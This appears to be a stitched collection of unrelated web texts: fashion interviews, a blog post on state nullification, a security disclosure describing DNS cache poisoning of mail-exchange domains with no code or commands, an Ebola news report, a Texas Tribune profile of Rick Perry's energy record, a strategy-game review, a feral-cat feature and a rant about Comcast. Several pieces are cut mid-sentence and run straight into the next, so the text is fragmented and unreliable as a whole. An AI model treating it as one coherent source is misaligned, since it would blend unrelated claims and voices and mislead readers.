AL: I want to be better. It’s not that I want to be better than anyone else; I want to be better than me. To me, I’m my only competition. That’s my reality. Me. And I don’t expect anyone else to get that. No one is going to believe in me more than I do. So I’m my biggest fan and my biggest critic.
You’ve chosen roped shoulders to give your suits a signature silhouette, but how has your style evolved since founding the company?
AL: I’ve learned to have an eye for what I want. I’ve change a bunch of things. I do a whole different breast pocket and the trousers are a lot more tapered now. There are certain things that I’ve tweaked, and I’m still tweaking. That will never stop.
You’ve recently stepped out into the accessory world… Where do you see that taking you? Are you planning on expanding into retail?
AL: I want to be able to do the shirts through an ecommerce store. Now I’m doing pocket squares with the hand rolled edges from Italy. I’m also doing ties where you can choose the fabric and everything. But I’ve been working on a new thing for the past six months… I’m finally doing shoes. This is the next phase; hand-made shoes. I’m so excited because I started with a goal, and it happened. So I can get these in stores, and, if these catch on, you’re outta here. How crazy is it to see your name in shoes? From beginning to end. To start off with “I want a shoe” to “there it go”. I’ve got a couple more weeks, but I’m wearing them now. I want to see how it feels, and then I can tell them what I want to adjust. I want to make sure that the finish is accurate enough, and I want to make sure that the fit is accurate enough. I’ve got four shoes right now, but I’m going to add four more. I just wanted to have classic shoes in classic colors that I can put onto ecommerce. That and ties. I’m not saying that ecommerce for me is the end all be all, but it’s a start.
You were recently featured in the April 2014 digital edition of Modern Luxury. – How have you been getting your name out?
AL: Yeah, Modern Luxury came to me and asked me if I’d give a little blurb about what I do, and of course I was honored to, but we’re speaking about doing something bigger in their September fashion issue. And actually, next month I’m going to do a half page ad with them. This is the first one I’ve ever done, so hopefully this will just let people know that I’m out here and doing this.
Up until now most of it has been word of mouth. I don’t want to force my way in. I’d rather be someone that you want to get to know. One of my selling points is that I come to you. There’s nothing like servicing someone in their own home.
Your closing phrase, “keep winning”, where does that come from and what does it mean to you?
AL: I always say …
Keep winning because if you’re winning you can’t lose.
If you’d like to get more information about Antar Levar Bespoke, head on over to antarlevar.com. Right now it’s the older site, but his new redesigned site including ties and shoes should be available by mid summer.
NOTE First, thanks for reading this far – You have epic endurance! Interviews with makers like Antar are a new thing I’m trying for Steam & Roll. If you hated it, well, you must like pain to get this far, but if you enjoyed it and want to see more like it, will you let me know in the comments? Who should I interview next?by Derek Sheriff
Let’s shed some light on why Arizona’s Governor just vetoed a great piece of Tenth Amendment legislation.
Popularly known as the “Light Bulb Bill”, HB2337 was recently submitted to Governor Brewer. This bill seemed to be exactly the kind of Tenth Amendment legislation she would enthusiastically support. Surprisingly, however, she announced that she had vetoed the bill for practical and strategic reasons. In her veto letter, she explained:
Despite any federal restrictions to the contrary, the bill would have allowed the possession, use, manufacture, purchase, installation, sale or exportation internationally of incandescent light bulbs manufactured in Arizona from Arizona raw materials and components. While I have vetoed HB 2337, I share the bill’s underlying sentiment. The federal government continually infringes on the rights of States guaranteed in the United States Constitution and by over-regulating the lives of everyday Americans. As Governor, there has not been a more ardent defender of the State of Arizona’s 10TH Amendment rights — from suing the federal government for overreaching its constitutional authority in the recently passed federal health care legislation to signing the Firearms Freedom Act (HB 2307) into law last month. In fact, HB 2337 was modeled in large part after HB 2307. Both bills invite lawsuits that would restore our Founding Fathers’ vision of a limited federal government based on the 10TH Amendment. I believe that the Firearms Freedom Act is the more immediate and practical vehicle for achieving this objective. The federal phase-out of the incandescent light bulb starts next year and is completed in 2014. HB 2337 would take many more years to achieve its goal because there are no active tungsten mining or mineral processing facilities in Arizona. Tungsten is necessary to manufacture the filament in incandescent light bulbs.
Sadly, what Governor Brewer and many of the bill’s sponsors are either unaware of, or fail to understand properly, are the concepts of nullification and interposition, which were expressed by Thomas Jefferson and James Madison in the Kentucky and Virginia Resolutions of 1798. The ideas articulated in these very important, but mostly unknown documents, later became known as The Principles of ’98, and were invoked in almost every decade before the Civil War by states from every part of the Union in response to acts of federal usurpation.
If more people serving in our state governments familiarized themselves with the The Principles of ’98 and the classical liberal states’ rights tradition nobody knows, they might be less concerned with provoking federal lawsuits in the hope of obtaining a favorable court ruling.
Lawsuits and court battles can be part of a state’s overall strategy to arrest acts of federal usurpation and keep them from multiplying, but they are not essential. While favorable court rulings are welcome, even Supreme Court decisions should not be accepted as legitimate by state governments if such decisions uphold “laws” that clearly would have been rejected by the Constitution’s ratifiers.
Just like Thomas Jefferson, our elected state officials need to finally and permenantly reject the historical and legal fiction that the US Supreme Court is the final authority on constitutional issues.
As founder and director of the Tenth Amendment Center, Michael Boldin, wrote in a recent press release:
“The greatest problem with relying on lawsuits..for Constitutional protection is the reality that the Supreme Court has set years and years of bad precedent, allowing the federal government to control many aspects of our lives that the Founders and Ratifiers never authorized. The real question we must ask is this: Does the Constitution mean what the founders [and Ratifiers] said it means, or does it mean what the Supreme Court says it means…until it changes its mind? Like any legal document, the words of the Constitution mean today the same as they meant the moment it was ratified. The Commerce Clause, the General Welfare Clause and the Necessary and Proper Clause have not been amended, and the original Constitutional meanings of those clauses do not permit the federal government to exercise such powers.â€
Given the fact that the Supreme Court is part of the federal government and can no more be an impartial arbiter of constitutional disputes between the states and the federal government than the legislative or executive branch could be, I have a question.
Do we live in a republic where the Constitution, which has a fixed and knowable meaning, is the supreme law of the land? Or do we live in a judicial oligarchy where we are governed by case law, which changes from decade to decade according to the shifting opinions of nine unelected, unaccountable judges?
If the latter is the case, then our system of government resembles more closely that of Iran, where ultimate sovereignty resides with Islamic jurists, than the one established by the Constitution’s framers and ratifiers.
But if the former is the case, then states, and not the Supreme Court exclusively, have the moral and legal authority to decide when Congress has violated the Constitution. And the people of the several states, supported and defended by their state governments, have every natural and legal right to ignore or refuse to obey what Congress may attempt to call a “law” in cases where it has overstepped its constitutional boundaries.
Some will assert that this could lead to irregularity and legal chaos around the country. I contend that we are already faced with a far worse situation: institutionalized lawlessness and nationalized tyranny.
Whether it’s over issues concerning mandatory health insurance, firearms manufactured and kept within state boundaries or a federal ban on incandescent light bulbs, our state and local officials must take a more realistic and enlightened approach: Stop asking the federal courts for permission to protect their citizen’s constitutional rights and just do it. It is their responsibility and their duty to interpose on our behalf whether any branch of the federal government likes it or not.Probable Cache Poisoning of Mail Handling Domains
Posted on September 10, 2014 by in Network Situational Awareness
Hi, this is Jonathan Spring with my colleague Leigh Metcalf. For some time now, we've been working through a problem we found, but it's time to discuss it more broadly. Using our passive DNS data source, we can observe cache poisoning. What we really observe are changes in the answers that are returned for certain domains, but after consulting with various experts, we believe the only behavior these changes indicate is a successful cache poisoning attack.
The mechanism used to poison the answers is not clear. We see only responses, not queries, and figuring out the mechanism requires visibility into the queries. This limited visibility is one reason to disclose what we've found so that others can look for the root cause.
The disconcerting aspect of this work is not how many domains we see being poisoned, as there are relatively few, but which domains they are. We observe changes in A records so that a domain resolves to a different IP address. But the domains being targeted are often listed as name servers or mail exchanges for other domains. The biggest free webmail providers have been repeatedly victimized on some unknown (but likely smaller) subsection of the Internet sometime during the last year.
Let's take a step back and look at what happens when an organization is trying to send mail to Gmail, Yahoo, or Outlook.com. Figure 1 diagrams the usual path at a high level of abstraction. The organization's mail server does a DNS lookup for the IP address of the destination MX, gets an answer, and sends the message along. This path is an oversimplification; with mail there may be a few exchanges such as this before the message reaches its final destination.
Figure 1: A usual mail handling path following a usual DNS answer
Figure 2 diagrams how this usual process can be thwarted if the DNS answer for the IP address of the destination MX is changed. The mail message makes an unintended pit stop at the poisonous IP address. That server can then forward the message to its intended destination. Since mail is transmitted asynchronously, the sender and recipient are not likely to notice anything out of the ordinary. The sending IP address in the message header would likely reflect the diversion, but since mail handling often has a few exchanges before the final destination, it is not immediately obvious to anyone along the path that the diversion was out of the ordinary.
Figure 2: A mail handling path hijacked via DNS cache poisoningThe first Ebola victim to be brought to the United States from Africa was safely escorted into a specialized isolation unit Saturday at one of the nation's best hospitals, where doctors said they are confident the deadly virus won't escape.
Fear that the outbreak killing more than 700 people in Africa could spread in the U.S. has generated considerable anxiety among some Americans. But infectious disease experts said the public faces zero risk as Emory University Hospital treats a critically ill missionary doctor and a charity worker who were infected in Liberia.
The U.S. Centers for Disease Control and Prevention has received "nasty emails" and at least 100 calls from people saying "How dare you bring Ebola into the country!?" CDC Director Tom Frieden told The Associated Press Saturday.
"I hope that our understandable fear of the unfamiliar does not trump our compassion when ill Americans return to the U.S. for care," Frieden said.
Dr. Kent Brantly and Nancy Writebol, who will arrive in several days, will be treated in Emory's isolation unit for infectious diseases, created 12 years ago handle doctors who get sick at the CDC, just up the hill. It is one of about four in the country, equipped with everything necessary to test and treat people exposed to very dangerous viruses.
In 2005, it handled patients with SARS, which unlike Ebola can spread like the flu when an infected person coughs or sneezes.
In fact, the nature of Ebola — which is spread by close contact with bodily fluids and blood — means that any modern hospital using standard, rigorous, infection-control measures should be able to handle it.
Still, Emory won't be taking any chances.
"Nothing comes out of this unit until it is non-infectious," said Dr. Bruce Ribner, who will be treating the patients. "The bottom line is: We have an inordinate amount of safety associated with the care of this patient. And we do not believe that any health care worker, any other patient or any visitor to our facility is in any way at risk of acquiring this infection."
Brantly was flown from Africa to Dobbins Air Reserve base outside Atlanta in a small plane equipped to contain infectious diseases, and a small police escort followed his ambulance to the hospital. He climbed out dressed head to toe in white protective clothing, and another person in an identical hazardous materials suit held both of his gloved hands as they walked gingerly inside.
"It was a relief to welcome Kent home today. I spoke with him, and he is glad to be back in the U.S.," said his wife, Amber Brantly, who left Africa with their two young children for a wedding in the U.S. days before the doctor fell ill.
"I am thankful to God for his safe transport and for giving him the strength to walk into the hospital," her statement said.
Inside the unit, patients are sealed off from anyone who doesn't wear protective gear.
"Negative air pressure" means air flows in, but can't escape until filters scrub any germs from patients. All laboratory testing is conducted within the unit, and workers are highly trained in infection control. Glass walls enable staff outside to safely observe patients, and there's a vestibule where workers suit up before entering. Any gear is safely disposed of or decontaminated.
Family members will be kept outside for now.
The unit "has a plate glass window and communication system, so they'll be as close as 1-2 inches from each other," Ribner said.
Dr. Jay Varkey, an infectious disease specialist who will be treating Brantly and Writebol, gave no word Saturday about their condition. Both were described as critically ill after treating Ebola patients at a missionary hospital in Liberia, one of three West African countries hit by the largest outbreak of the virus in history.
There is no proven cure for the virus. It kills an estimated 60 per cent to 80 per cent of the people it infects, but American doctors in Africa say the mortality rate would be much lower in a functioning health care system.
The virus causes hemorrhagic fever, headaches and weakness that can escalate to vomiting, diarrhea and kidney and liver problems. Some patients bleed internally and externally.
There are experimental treatments, but Brantly had only enough for one person, and insisted that his colleague receive it. His best hope in Africa was a transfusion of blood including antibodies from one of his patients, a 14-year-old boy who survived thanks to the doctor.
There was also only room on the plane for one patient at a time. Writebol will follow in several days.
Dr. Philip Brachman, an Emory public health specialist who led the CDC's disease detectives program for many years, said Friday that since there is no cure, medical workers will try any modern therapy that can be done, such as better monitoring of fluids, electrolytes and vital signs.
"We depend on the body's defenses to control the virus," Dr. Ribner said. "We just have to keep the patient alive long enough in order for the body to control this infection."
Just down the street from the hospital, people dined, shopped and carried on with their lives Saturday. Several interviewed by the AP said the patients are coming to the right place.
"We've got the best facilities in the world to deal with this stuff," said Kevin Whalen, who lives in Decatur, Ga., and has no connection to Emory or the CDC. "With the resources we can throw at it, it's the best chance this guy has for survival. And it's probably also the best chance to develop treatments and cures and stuff that we can take back overseas so that it doesn't come back here."
In Canada, the The Public Health Agency released a statement Saturday saying it is "working closely with its provincial and territorial partners in health. The Agency's National Microbiology Laboratory is well connected with its network of provincial labs to ensure it is ready to detect and respond quickly in the unlikely event that a case arrives in Canada."In the latest copy of Japanese publication SENSE – an issue devoted to the Los Angeles fashion scene – Jerry Lorenzo stepped in front of the lens to model the clothing and footwear from Fear of God’s “FOURTH COLLECTION.” Now we’re privy to some exclusive outtakes from the issue, combined with some quotes from Lorenzo on his creative process, and for the first time we can announce prices for the anticipated footwear component of the collection.
Lorenzo reports that four to six versions will be hitting shelves in May 2016, including the “Mela,” “Black Nylon,” “Canapa,” and “Black w/ Two-Tone Gum/White Sole,” priced between $1,095 and $1,195.
Enjoy our brief conversation with Lorenzo below.
Why is a placement in SENSE important for Fear of God?
For me, SENSE has always had the best editorials of any magazine. I think their styling has always been ahead, so for me it’s important because it’s a personal favorite.
What are some of your favorite pieces from the new collection?
The back-zip mock neck sweatshirt is definitely one of my new favorites. I really believe it’s like the new “everyday hoodie” for your wardrobe. I’m super into the hidden side pockets that allow me to hide my hands and play and pull on my clothes naturally, instead of inserting them in the bottom of my tees…it’s like this nervous I thing I do, playing with the bottom of my tees and sweatshirts.
The denim deck coat is probably the most standout piece…we’re into the “all the denim everything” right now.
How long has footwear been in the works? Originally, what were your goals in creating footwear to go along with the Fear of God apparel offerings?
I went to Italy almost a year ago with one sketch and the idea hasn’t changed. The sole is an original mold so it’s taken much longer to produce than I anticipated and that also drove the cost up quite a bit, but it’s here now and I’m super happy about it.
How many styles and colorways are included in the footwear drop?
This year we’ll be dropping four to six versions, playing with Italian nubuck and different leathers, as well as military canvas and nylon.
Talk about your approach to styling Fear of God’s “FOURTH COLLECTION.”
When I’m designing or coming up with ideas for pieces, I always see them finished in my head, in a certain look or a situation. For example, “…this flannel and jeans is something I can see on a kid going to the movies.” I consider what I’m doing as necessity rather than fashion, as it’s more of a real-life wardrobe approach. This shoot was fun to style because I’ve had some of these looks in my head since before the collection was even made.
If you missed out on copping from the FOURTH COLLECTION the first time around, a restock will take place after pre-orders and retailers’ orders have shipped out.
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Words by Chris Danforth Footwear Editor Vancouver-born, Berlin-based writer, photographer and editor with a steady hand on the keyboard.*Editor's note: This story has been updated throughout.
As he said farewell to the Texas Legislature in January 2015, Rick Perry couldn’t help but reflect on how energy technology and policy had transformed the state’s landscape — and fueled its economy — during his record 14 years as governor.
“Today, horizontal slant drilling is tapping oil and gas fields unreachable just a few years ago,” he said, going on to scold New York for banning hydraulic fracturing. “In Texas, we have chosen jobs. We have chosen energy security, and we will one day end America’s dependence on hostile sources of foreign energy.”
Although Texas' longest-serving governor was, perhaps unsurprisingly, pro-oil and gas during his tenure, he didn't simply nod to those iconic, staple fuels: “You can be proud that Texas produces more energy from wind turbines than all but five countries,” he said.
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Indeed, Perry left a nuanced energy legacy — including overseeing booms in fossil fuels and renewables — during his time in Austin. (Texas is now the No. 1 U.S. producer of both natural gas and wind energy.) Now, he is poised to take his experience to Washington, where President-elect Donald Trump has reportedly tapped him as U.S. secretary of energy. The appointment would mark a full repair in Perry’s relationship with Trump, whom he called “a cancer on conservatism” last year while the two men were in a crowded field for the Republican presidential nomination.
If confirmed, Perry would become the third Texan to land that job, which involves overseeing energy research and policy with ramifications on the economy, environment and national security. And he would certainly bring different perspective and background to the role than his two predecessors — nuclear physicist Ernest Moniz and Physics Nobel laureate Steven Chu.
Environmentalists and others question Perry's qualifications to lead the massive federal agency, particularly because he called for its elimination during his first unsuccessful presidential bid five years ago. While they concede that he championed renewables during his tenure, they also describe a more fervent support for traditional fossil fuels.
"Judging by the past, he has backroom deals with special interests and big polluters — the rest of the economy and the air be damned," said Jim Marston, the Texas head of the Environmental Defense Fund, recalling a 2005 executive order to approve coal plants that his group successfully challenged in court.
Last year, Perry joined the board of Energy Transfer Partners, the Dallas-based company behind the controversial Dakota Access Pipeline; its CEO, Dallas billionaire Kelcy Warren, was a major supporter of Perry’s political endeavors.
But Perry's intimate understanding, and support, of the energy business makes him the perfect choice, said former Texas energy regulator Barry Smitherman, the only person to have served both on the Texas Railroad Commission and the state’s Public Utility Commission.
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"He's incredibly qualified. I mean, he was the CEO of our state during 14 years of incredible energy development," he said, recalling Perry's support of state energy regulators during the shale revolution and of new electric lines to deliver wind energy. "Gov. Perry has been at the epicenter of all these advances."
Washington D.C.-based power utility lawyer Joseph Hall said he suspects "Perry will be well-received by the energy sector."
"He’ll need to express his goals for the National Nuclear Security Administration [a semi-autonomous agency within the DOE], but Texas is a market leader on the policy, law and economics of the oil, gas and electric power industries," Hall said in a statement. "He understands carbon policy, the oil and gas business and generation and transmission development."
Here’s a look back at Perry’s energy legacy in Texas.
Booming oil and gas
Oil and natural gas production surged in Texas during Perry’s tenure — by roughly 260 percent and 50 percent, respectively. Those booms poured billions of dollars into state coffers and helped lift Texas from the country’s last recession. The phenomenon, however, also stirred concerns about air and water quality and strained infrastructure in some regions, including roads and emergency response capabilities.
(Plunging oil prices since Perry left office have significantly slowed drilling and economic growth.)
For the most part, technological advances like hydraulic fracturing with horizontal drilling spurred this energy renaissance. But industry officials cheered Perry’s relatively low-tax, low-regulation environment and willingness to push back against the U.S. Environmental Protection Agency. Energy companies also supported his calls to lift a moratorium on new deep-water drilling after the Deepwater Horizon rig explosion and spill ravaged the Gulf of Mexico in 2010. Perry called it an “act of God.”
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Perry also signed a bill in 2003 that made permanent a controversial tax break for “high cost” natural gas that has saved drillers billions of dollars over the years in avoided payments.
In his final months in office, Perry called on federal leaders to construct a comprehensive energy plan and to speed up natural gas exports — partly to protect gas-dependent U.S. allies in Europe from Russian “aggression.”
Making Texas a wind powerhouse
The state’s wind power sector hardly existed when Perry took his oath of office, but Texas became the nation’s leader in wind energy generation during his tenure — and he helped steer that boom.
In 2000, wind farms generated just 116 megawatts of capacity on the state’s main electric grid. That number soared to more than 11,000 megawatts under Perry, with wind fuels about 10 percent of all generation. (On average, one megawatt-hour can power 260 typical Texas homes for an hour.)
Marston, of the Environmental Defense Fund, said much of the renewable expansion wasn't Perry's idea but that he also supported it. That was likely because of job growth, not global warming, noted Smitherman, the former Texas energy regulator.
"For us, wind development in Texas was never about climate change — it was about economic development and diversifying our portfolio," he said, adding that it "is nicely diversified at the moment with natural gas, wind, coal and nuclear."
As Texas governor, George W. Bush laid the groundwork for the state's rapid wind energy growth. He signed a bill in 1999 that ultimately deregulated the electric sector — a mammoth undertaking that Perry would oversee — and established a renewable-energy requirement that kick-started wind development. Perry added to that in 2005 by signing legislation that required Texas to increase its renewable energy capacity to 5,880 megawatts by 2015.
The state shattered that goal before Perry left office.
Perry also backed a $7 billion electrical transmission project to connect windy, largely empty West Texas to growing cities demanding more power. Completed in 2013, the Competitive Renewable Energy Zone initiative stretches nearly 3,600 miles and can send up to 18,500 megawatts of power — including from non-wind sources — across the state.
Solar — not so much
Advocates were generally unhappy with Perry’s efforts on solar energy — or lack thereof. Because of its size and intense radiation, Texas leads the nation in solar energy potential, but the solar industry struggled to get a foothold during Perry’s tenure because lawmakers provided fewer incentives than other states.
Though still just a fraction of the state’s energy portfolio, solar generation grown rapidly since Perry left, mostly due to improved technology that makes it cheaper.
Coal
Perry forged ahead on new coal plants while governor, even as some states had stopped permitting new ones amid pollution concerns.
In 2005, he issued an executive order to help rapidly approve coal plant permits. A power conglomerate planned to build 11 coal-plant units but ultimately scrapped plans for eight of the carbon-dioxide spewing units after environmentalists protested.
“The biggest thing Perry did on energy was to try to fast-track 11 coal plants,” Marston, of the Environmental Defense Fund, told the Tribune in 2011. “And I think everybody in Texas ought to be glad that Perry’s plan failed.”
"It would have been catastrophic for the climate," he said in an interview Tuesday, describing it as "literally a backroom deal to help political donors."
Perry has also advocated for what supporters call “clean coal” — power plants that capture store and later sell those emissions to oilfield companies wanting to bolster productivity.
He set up a clean-coal technology council in 2002 and signed a bill with tax incentives for clean-coal plants in 2009.
Since then, several such projects have struggled to get off the ground. Meanwhile, coal power has steadily lost market share to natural gas and renewables in recent years — in Texas and across the United States.
Storing nuclear waste in Texas
During Perry’s tenure, Texas became home to one of the nation’s few facilities that accept low-level nuclear waste. Since 2012, Waste Control Specialists in Andrews County, a company that was formally owned by the late Dallas billionaire and Republican donor Harold Simmons, has disposed of contaminated tools, building materials and protective clothing, among other items, from shuttered reactors and hospitals.
Over the objection of environmental groups, that site rapidly grew during Perry’s final years in office and gained state permission in 2014 to double its capacity (if it wanted to) and reduce its financial liability should its owner suddenly close up shop.
This year, Waste Control Specialists applied for a license from the Nuclear Regulatory Commission to store spent nuclear reactor fuel at its facility in West Texas — pitching it as a temporary solution to the problem of finding a final resting place for the highly radioactive waste.
The U.S. Department of Energy plays a major role in advancing and implementing policy on nuclear waste.
If Texas decided it would like to permanently store spent nuclear fuel, Congress would need to change the 1987 law naming Yucca Mountain as the nation’s repository for high-level radioactive waste. The U.S. House and Senate remain sharply divided on the issue.
In 2014, Perry ordered the Texas Commission on Environmental Quality to evaluate the “challenges posed by spent nuclear fuel and other high-level radioactive waste” that is currently stored at reactor sites.
“Texas now faces the very real possibility that it will have to find a solution to the long-term issue of safe and secure handling of this waste,” he wrote in a letter accompanying the report, adding: “I believe it is time for Texas to act.”
Conflicts of interest?
Perry’s critics suggest that conflicts of interest could cloud his tenure as energy secretary.
As governor, he accepted more than $14.3 million in campaign cash from energy and natural resource interests, according to the National Institute on Money and State Politics.
To join Trump’s Cabinet, Perry must comply with laws seeking to prevent financial conflicts of interest.
He would have to sell stock that might be seen as a conflict and potentially put those assets into a blind trust, said Larry Noble, general counsel for the Campaign Legal Center, a nonpartisan campaign-finance watchdog group.
Perry must also step down from any board positions that could conflict with his duties. That would likely include breaking any ties with Dallas-based Energy Transfer Partners, which added him to its board of directors last year shortly after the end of his gubernatorial tenure.
Led by CEO Kelcy Warren, a Texas Parks and Wildlife commissioner and major political donor who served as Perry's campaign finance chairman during his 2016 presidential campaign, the pipeline giant is building the controversial Dakota Access natural gas pipeline that Native American groups have vigorously opposed and is currently stalled.
Perry and Warren have long been close — personally, politically and professionally.
Vicki Granado, an Energy Transfer spokeswoman, did not return messages Tuesday. But the company’s website still listed Perry as a board member.
Federal ethics statutes alone would not address critics’ broadest allegations of Perry’s coziness with industry executives, Noble said. It would be up to the U.S. Senate to evaluate those.
The energy ties certainly don’t seem to bother Texas’ Republican leaders, including some who view them as assets.
Praising Perry and Secretary of State nominee Rex Tillerson, Gov. Greg Abbott said Tuesday that both potential Cabinet members would be beneficial for Texas.
“They obviously know Texas. They understand Texas... especially the economic drivers of this state," Abbott said. "And so we would have as both the head of energy and the chief international diplomat, someone who — both of them would be in positions to drive and enhance the Texas economy."
Read related Tribune coverage:
With President-elect Donald Trump set to tap former Perry to head the department of energy, here's a closer look at the energy legacy of the state's longest-serving governor.
If confirmed as energy secretary, Perry will oversee American energy policy and its ramifications on the economy, environment and national security.
Disclosure: The Environmental Defense Fund has been a financial supporter of The Texas Tribune. A complete list of Tribune donors and sponsors can be viewed here.
Patrick Svitek contributed to this report.I’ve got a magic trick for you. Do you want to know how to make an entire evening disappear? It’s the easiest trick in the world. All you have to do is install Endless Legend. The same trick can be done with a few different games in the 4X genre (eXplore, eXpand, eXploit, eXterminate) and Endless Legend is sure no exception. So prepare for that laundry to pile up and the dishes to be neglected, because you’ll be seeing the sun rise from your computer desk tonight, just don’t forget to eat.
The makers of the highly regarded 4X “Endless Space” brought things down to earth with Endless Legend, a game that seems to match the depth and strategy of the Civilization series with a fictional setting like Age of Mythology. As with any game in the 4X genre, your mileage is going to vary depending on your answer to one question: Just how deep do you want to go?
Players yearning for massive depth and a LOT of different mechanics and systems will certainly not be disappointed. The level of control afforded to the player is quite frankly overwhelming at first. It is simultaneously the game’s greatest strength and weakness. I played through a rather extensive and in depth tutorial, after which I started a new game and immediately realized I had no idea what I was doing. Like no idea at all. I ended up going through the tutorial a second time which definitely helped, but I had to start 2-3 new campaigns over before I really felt like I understood what was going on.
This is partially my fault, partially just part of the learning curve, and partially design flaw. The tutorial expects a bit too much from the player in terms of remembering where simple commands and menus are. There’s also a lack of an advisers system like you see in Civ to help suggest possible next actions. I ended up defaulting back to playing the game mostly like I play Civ, because it was familiar to me. This was still tons of fun, but it’s a bit of a waste, because there’s a lot more going on here that Civ doesn’t offer.
There’s a neat quest system in the game where you need to complete objectives to advance your civilization’s “main story”, which is more of an abstract idea of progression than a story. You can also get quests from neutral factions to placate them and possibly even assimilate them into your empire. Another really neat system is the Hero system. You start with a hero character that can be part of an army or assigned to a city in your empire. The hero will give pretty major boosts to either your army or your production depending on where you place them. They can also level up through a skill tree and be equipped with items that provide even more buffs to their surrounding area. It adds a neat extra layer to the gameplay.
At first I felt overwhelmed, but eventually things started to click and I felt like I was making progress. I even conquered one of the 5 opposing factions in my campaign and was working towards conquering a second. Suddenly I got a warning that my empire was cash starved and I needed to make money quick or risk bankruptcy. I even got a warning saying buildings and units could be sold if I didn’t make cash quick. I stopped all production in all cities and immediately started building Mints in each city to increase cashflow. The Mints would take about 3 turns. After one |
strawberry guava tree near the head of the Aiea Loop Trail, ten miles from downtown Honolulu. There are 1,200 Oahu elepaio left on earth, and the sparrow-size birds typically occupy Hawaii’s high mountain ranges. VanderWerf was thrilled to find a lower-elevation nest. He was less thrilled to find a cat colony 100 yards from that nest. When Gibson’s group learned about this, it adopted the situation as a case study.
The kumbaya quickly evaporated.
The cat people stressed that rats are the top threat to elepaio, not cats. True, said the wildlife people, but cats kill them, too. One cat advocate suggested feeding the cats more so they wouldn’t hunt. That’s a terrible idea, countered the wildlife people. Cats hunt; that’s what they do. The wildlife people suggested moving the colony closer to a nearby neighborhood. The neighbors might balk at that, argued the cat people, who instead pushed for a risk matrix—a probability model for discerning threat levels to the nest. Is the threat not crystal clear, asked the wildlife people? They wanted the cats removed. The cat people wanted TNR. No, said the wildlife people, TNR won’t work. So the group did nothing.
That July, VanderWerf found the remains of a predated chick in one of the nests, and he hasn’t seen the adults since. He can’t prove cats did it, but he figures there’s a decent chance. The episode infuriated him. “If we can’t agree that was not the place for a cat colony, a stone’s throw from highly endangered birds, then we can’t agree on anything,” he says. Adds Chris Lepczyk, an ecologist who was part of the group: “When it comes to a head, cat people always walk away. They want the status quo. We were used as patsies.” Gibson’s promising cat-wildlife group subsequently disbanded.
Curious, I decide to check out the Aiea Loop trailhead myself. I arrive at dusk. About 100 yards from the trailhead, near some picnic tables, I count 14 cats eating from plates hidden partially beneath bushes. At another spot, a couple hundred yards from the trailhead, I pull into a parking lot where seven cats are hoovering up fresh fish someone has dumped next to a pickup truck. The truck is occupied. I knock on the driver’s side. A woman slowly rolls down the window. She has a long blond braid and a deep tan, and looks to be in her forties. She’s wary. I’d be wary, too, if a stranger beat on my vehicle after sundown in a park. “I had some extra mahi-mahi,” she says, explaining the splattered fish at my feet. When I mention my interest in TNR, her demeanor changes. She becomes chatty.
Her name is Julie Anderson. For 15 years she practiced TNR regularly and quit only recently. She had to. She was spending $300 a month on pet food. She was paying for mange and lice treatments. Her traps cost $90 apiece, and she had 15 of them. She was spending $5 a pop on spay-neuter, and she had trapped and fixed some 500 cats. “It’s super addictive,” she says. “I was on a mission.” She kept thinking that if she could just trap one more cat, the colony would be completely fixed, and it would eventually disappear. Her work would be done. “But there’s never just one more. People would dump more cats. It was overwhelming.” Her partner financed everything. “After a while he couldn’t pay the mortgage,” she says. “We lost the house.” He moved in to her condo. “We thought we would lose the condo, too, unless we pulled ourselves together. All the money was going to the cats.”
Not surprisingly, the questionable behavior of some TNR advocates has caused at least one member of Kauai’s ordinance committee to point to toxo. Research has linked toxoplasmosis to all manner of psychological issues, including obsessive-compulsive disorder, schizophrenia, bipolar disorder, neuroticism, and suicidal tendencies. Toxo increases production of the neurotransmitter dopamine, scientists say, which can promote reward seeking and risk taking. A study this year found that adults with intermittent explosive disorder, which involves impulsive outbursts of verbal or physical aggression, were twice as likely to be infected with toxo. Makaala Kaaumoana, of Hanalei Watershed Hui, says that before serving on the task force and the ordinance committee, she wasn’t familiar with TNR advocates. “Some display very bad behavior,” she says. “Why would perfectly reasonable people in other aspects of their life act like that?” For his part, Scott says that he has tested negative for toxo. He’s simply a fighter, he insists. “I’m like Rocky in those committee meetings,” he says. “But it’s like one Rocky fighting seven Apollo Creeds.”
By the end of the summer, the fight had only escalated. Scott had joined with five national TNR groups to help draft an altogether different, TNR-centric ordinance, one he submitted to the county. Wildlife advocates, on the other hand, had linked their cause to arguably the most powerful cultural force on the island—the return of Friday-night high school football. If banning TNR and removing feral cats successfully lowered colony numbers, the argument went, then maybe stadium lights could shine again. There’d be far fewer cats waiting to pounce on fallen Newell’s fledglings.
One afternoon I visit Scott at his home. He and Sue live with 36 cats—12 indoor, 12 free-roaming, and 12 inside a backyard “cat-zebo,” a ten-by-twelve-foot shelter constructed of wood, chicken wire, and corrugated plastic, with a pastel paint job. Cats lounge on perches and hammocks. Behind the cat-zebo, Scott is constructing a larger “enclosed rescue area,” a fenced facility capable of holding 40 cats. He says that he and others are setting up shelters like this across Kauai. They’re not surrendering the fight, he explains, but they do want a fallback strategy to save as many cats as possible in a worst-case scenario. “You’ve got colony cats that someone has spent his life caring for,” he says. “We can take those cats. Then we’ll tell the county, ‘Now it’s your turn to manage the situation. We tried. Now it’s on you.’”
Contributing editor Paul Kvinta wrote about human-Kangaroo conflicts in December 2015.Oy. This is probably the end of the line for me and Comcast. About an hour before today's Obama speech, I was upstairs, with Slingplayer on the 2nd monitor, Audio HIjack Pro ready to record, when the net went down. I figured it was another outage, we had one here in Berkeley last week.
So I posted a twit to comcastcares, saying we had another outage. The response said it wasn't an outage.
Net-net, it's some kind of "security" thing, so says Frank Ellison, the comcastcares guy. I told him if this isn't a legitimate security issue, then please close my account, both Internet and TV (for which I now pay $183 per month). I have redundant service for both, with an AT&T DSL line and a DirecTV dish, I'm hardly watching any TV at all these days, other than MSNBC and a little CNN, and while their Internet sure is fast, if they keep taking it down and insisting that I grovel and listen to lectures to get it turned back on (or worse, who knows what they have planned for me this time) -- no thanks. I don't think groveling and being a valued customer go together.
Ellison also volunteered that he liked me. My response was you're a company rep, you don't get to like or not like me.
It's with a little bit of anger and frustration that I realize that Comcast paid $175 million to get Joseph Smarr to work on their network, and their answer to me is: 1. Pay $183 per month. 2. I should care whether they like me or not. 3. They'll shut me down when they want me to call. 4. They don't care if it's right before Obama's speech in Berlin or not. 5. Fuck off Dave. (I threw #5 in there for attitude, they didn't literally tell me to fuck off, it's more in the body language.)A film that dares to ask just how many times you can watch the same plane crash.
